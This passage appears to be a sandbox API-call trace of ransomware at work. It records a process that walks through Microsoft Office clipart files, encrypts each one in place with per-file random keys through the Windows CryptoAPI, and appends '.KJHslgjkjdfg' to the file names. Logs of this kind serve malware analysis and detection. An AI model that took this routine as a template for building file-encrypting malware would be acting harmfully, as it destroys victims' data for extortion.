[0197.790] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x19c4, lpOverlapped=0x0) returned 1 [0197.791] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19d0, dwBufLen=0x19d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19d0) returned 1 [0197.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.792] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x19d0, lpOverlapped=0x0) returned 1 [0197.792] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.792] SetEndOfFile (hFile=0x130) returned 1 [0197.795] GetProcessHeap () returned 0x990000 [0197.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.795] GetProcessHeap () returned 0x990000 [0197.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.kjhslgjkjdfg")) returned 1 [0197.796] CloseHandle (hObject=0x130) returned 1 [0197.796] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1 [0197.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.797] GetProcessHeap () returned 0x990000 [0197.797] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.797] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.797] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.797] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.797] GetProcessHeap () returned 0x990000 [0197.797] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.798] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.798] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.798] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.803] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.803] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.803] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.803] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.803] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.803] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.803] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1500, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1500, lpOverlapped=0x0) returned 1 [0197.804] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1500, dwBufLen=0x1500 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1500) returned 1 [0197.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.804] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1500, lpOverlapped=0x0) returned 1 [0197.804] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.804] SetEndOfFile (hFile=0x130) returned 1 [0197.807] GetProcessHeap () returned 0x990000 [0197.807] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.807] GetProcessHeap () returned 0x990000 [0197.807] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.kjhslgjkjdfg")) returned 1 [0197.808] CloseHandle (hObject=0x130) returned 1 [0197.808] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1 [0197.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.809] GetProcessHeap () returned 0x990000 [0197.809] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.809] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.809] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.811] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.811] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.811] GetProcessHeap () returned 0x990000 [0197.812] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.812] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.812] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.812] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.812] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.812] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.812] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.812] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.812] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.812] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.812] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2d7c, lpOverlapped=0x0) returned 1 [0197.813] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d80) returned 1 [0197.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.813] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d80, lpOverlapped=0x0) returned 1 [0197.813] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.814] SetEndOfFile (hFile=0x130) returned 1 [0197.816] GetProcessHeap () returned 0x990000 [0197.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.816] GetProcessHeap () returned 0x990000 [0197.816] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.kjhslgjkjdfg")) returned 1 [0197.817] CloseHandle (hObject=0x130) returned 1 [0197.818] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1 [0197.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.819] GetProcessHeap () returned 0x990000 [0197.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.819] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.819] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.819] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.819] GetProcessHeap () returned 0x990000 [0197.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.819] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.819] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.819] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.821] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.821] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.822] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.822] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.822] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.822] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.822] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2870, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2870, lpOverlapped=0x0) returned 1 [0197.823] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2870, dwBufLen=0x2870 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2870) returned 1 [0197.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.823] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2870, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2870, lpOverlapped=0x0) returned 1 [0197.823] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.823] SetEndOfFile (hFile=0x130) returned 1 [0197.826] GetProcessHeap () returned 0x990000 [0197.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.826] GetProcessHeap () returned 0x990000 [0197.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.kjhslgjkjdfg")) returned 1 [0197.828] CloseHandle (hObject=0x130) returned 1 [0197.828] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1 [0197.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.828] GetProcessHeap () returned 0x990000 [0197.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.829] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.829] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.831] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.831] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.831] GetProcessHeap () returned 0x990000 [0197.831] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.831] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.831] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.831] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.831] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.831] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.832] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.832] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.832] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.832] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.832] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d4c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d4c, lpOverlapped=0x0) returned 1 [0197.833] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d50, dwBufLen=0x1d50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d50) returned 1 [0197.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.833] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d50, lpOverlapped=0x0) returned 1 [0197.833] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.833] SetEndOfFile (hFile=0x130) returned 1 [0197.836] GetProcessHeap () returned 0x990000 [0197.836] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.836] GetProcessHeap () returned 0x990000 [0197.836] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.kjhslgjkjdfg")) returned 1 [0197.837] CloseHandle (hObject=0x130) returned 1 [0197.837] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, 